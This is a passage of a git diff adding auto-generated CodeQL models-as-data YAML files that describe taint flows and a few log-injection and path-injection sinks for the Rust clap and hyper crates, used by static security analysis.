"df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_complete_nushell", "crate::has_command", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete_nushell", "crate::register_example", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml new file mode 100644 index 000000000000..4397f956fcfd --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml @@ -0,0 +1,55 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::lit_str_or_abort", "Argument[self].Field[crate::attr::ClapAttr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_or_abort", "Argument[self].Field[crate::attr::ClapAttr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::cased_name", "Argument[self].Field[crate::item::Item::name].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::casing", "Argument[self].Field[crate::item::Item::casing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::env_casing", "Argument[self].Field[crate::item::Item::env_casing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_args_field", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_args_field", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::env_casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_args_struct", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::name]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_subcommand_enum", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::name]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_subcommand_variant", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_subcommand_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::env_casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_value_enum", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::name]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_value_enum_variant", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_value_enum_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::env_casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::group_id", "Argument[self].Field[crate::item::Item::group_id]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::id", "Argument[self].Field[crate::item::Item::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::is_positional", "Argument[self].Field[crate::item::Item::is_positional]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::kind", "Argument[self].Field[crate::item::Item::kind].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::kind", "Argument[self].Field[crate::item::Item::kind]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::skip_group", "Argument[self].Field[crate::item::Item::skip_group]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_name", "Argument[self].Field[crate::item::Item::name].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::args", "Argument[self].Field[crate::item::Method::args]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[0]", "ReturnValue.Field[crate::item::Method::name]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[1]", "ReturnValue.Field[crate::item::Method::args]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::translate", "Argument[self].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from", "Argument[0].Field[crate::utils::spanned::Sp::span]", "ReturnValue.Field[crate::utils::spanned::Sp::span]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::deref", "Argument[self].Field[crate::utils::spanned::Sp::val]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::deref_mut", "Argument[self].Field[crate::utils::spanned::Sp::val]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::get", "Argument[self].Field[crate::utils::spanned::Sp::val]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[0]", "ReturnValue.Field[crate::utils::spanned::Sp::val]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[1]", "ReturnValue.Field[crate::utils::spanned::Sp::span]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::span", "Argument[self].Field[crate::utils::spanned::Sp::span]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::parser::derive_parser", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::parser::derive_parser", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::utils::ty::inner_type", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_lex.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_lex.model.yml new file mode 100644 index 000000000000..5ccc93d09ccf --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_lex.model.yml @@ -0,0 +1,11 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::to_value", "Argument[self].Field[crate::ParsedArg::inner]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::to_value_os", "Argument[self].Field[crate::ParsedArg::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::split", "Argument[0]", "ReturnValue.Field[crate::ext::Split::needle]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::split", "Argument[self]", "ReturnValue.Field[crate::ext::Split::haystack].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_mangen.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_mangen.model.yml new file mode 100644 index 000000000000..6829efe4972f --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_mangen.model.yml @@ -0,0 +1,19 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::date", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::generate_to", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::get_filename", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::manual", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::new", "Argument[0]", "ReturnValue.Field[crate::Man::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::section", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::title", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::generate_to", "Argument[self]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml b/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml new file mode 100644 index 000000000000..3e30d66ced41 --- /dev/null +++ b/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml @@ -0,0 +1,254 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/hyperium/hyper:hyper", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_ffi_mut", "Argument[self].Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::Ffi(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[0]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::recv]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[1]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::content_length]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[2]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::ping]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0].Field[crate::option::Option::Some(0)].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::checked_new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::body::length::DecodedLength(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::danger_len", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::danger_len", "Argument[self].Field[crate::body::length::DecodedLength(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_opt", "Argument[self].Field[crate::body::length::DecodedLength(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::body::length::DecodedLength(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0].Field[crate::ext::h1_reason_phrase::ReasonPhrase(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::allow_obsolete_multiline_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::allow_spaces_after_header_name_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::handshake", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::handshake", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::http09_responses", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h09_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::http09_responses", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h09_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::http09_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::ignore_invalid_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_max_buf_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_max_buf_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_max_headers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_max_headers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_preserve_header_case]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_preserve_header_case]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_order", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_preserve_header_order]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_order", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_preserve_header_order]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::read_buf_exact_size", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_read_buf_exact_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::read_buf_exact_size", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_read_buf_exact_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::read_buf_exact_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_title_case_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_title_case_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_writev].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_writev].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with_upgrades", "Argument[self]", "ReturnValue.Field[crate::client::conn::http1::upgrades::UpgradeableConnection::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::send_request", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::try_send_request", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::handshake", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::handshake", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::header_table_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::initial_max_send_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::initial_stream_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::keep_alive_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::keep_alive_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_while_idle", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::keep_alive_while_idle]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_while_idle", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::keep_alive_while_idle]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_while_idle", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_concurrent_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_concurrent_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::max_header_list_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::max_header_list_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_pending_accept_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::max_send_buffer_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::max_send_buffer_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::exec]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::unbound", "Argument[self].Field[crate::client::dispatch::Sender::inner]", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_error", "Argument[self].Field[crate::client::dispatch::TrySendError::error]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::take_message", "Argument[self].Field[crate::client::dispatch::TrySendError::message].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::take_message", "Argument[self].Field[crate::client::dispatch::TrySendError::message]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::common::io::compat::Compat(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::common::io::rewind::Rewind::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::common::io::rewind::Rewind::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new_buffered", "Argument[0]", "ReturnValue.Field[crate::common::io::rewind::Rewind::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new_buffered", "Argument[1]", "ReturnValue.Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::rewind", "Argument[0]", "Argument[self].Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[0].Field[crate::common::time::Dur::Configured(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[0].Field[crate::common::time::Dur::Default(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::ext::Protocol::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::ext::Protocol::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_ref", "Argument[self].Field[crate::ext::h1_reason_phrase::ReasonPhrase(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_bytes", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_bytes", "Argument[self].Field[crate::ext::h1_reason_phrase::ReasonPhrase(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::wrap", "Argument[0]", "ReturnValue.Field[crate::ffi::http_types::hyper_response(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", 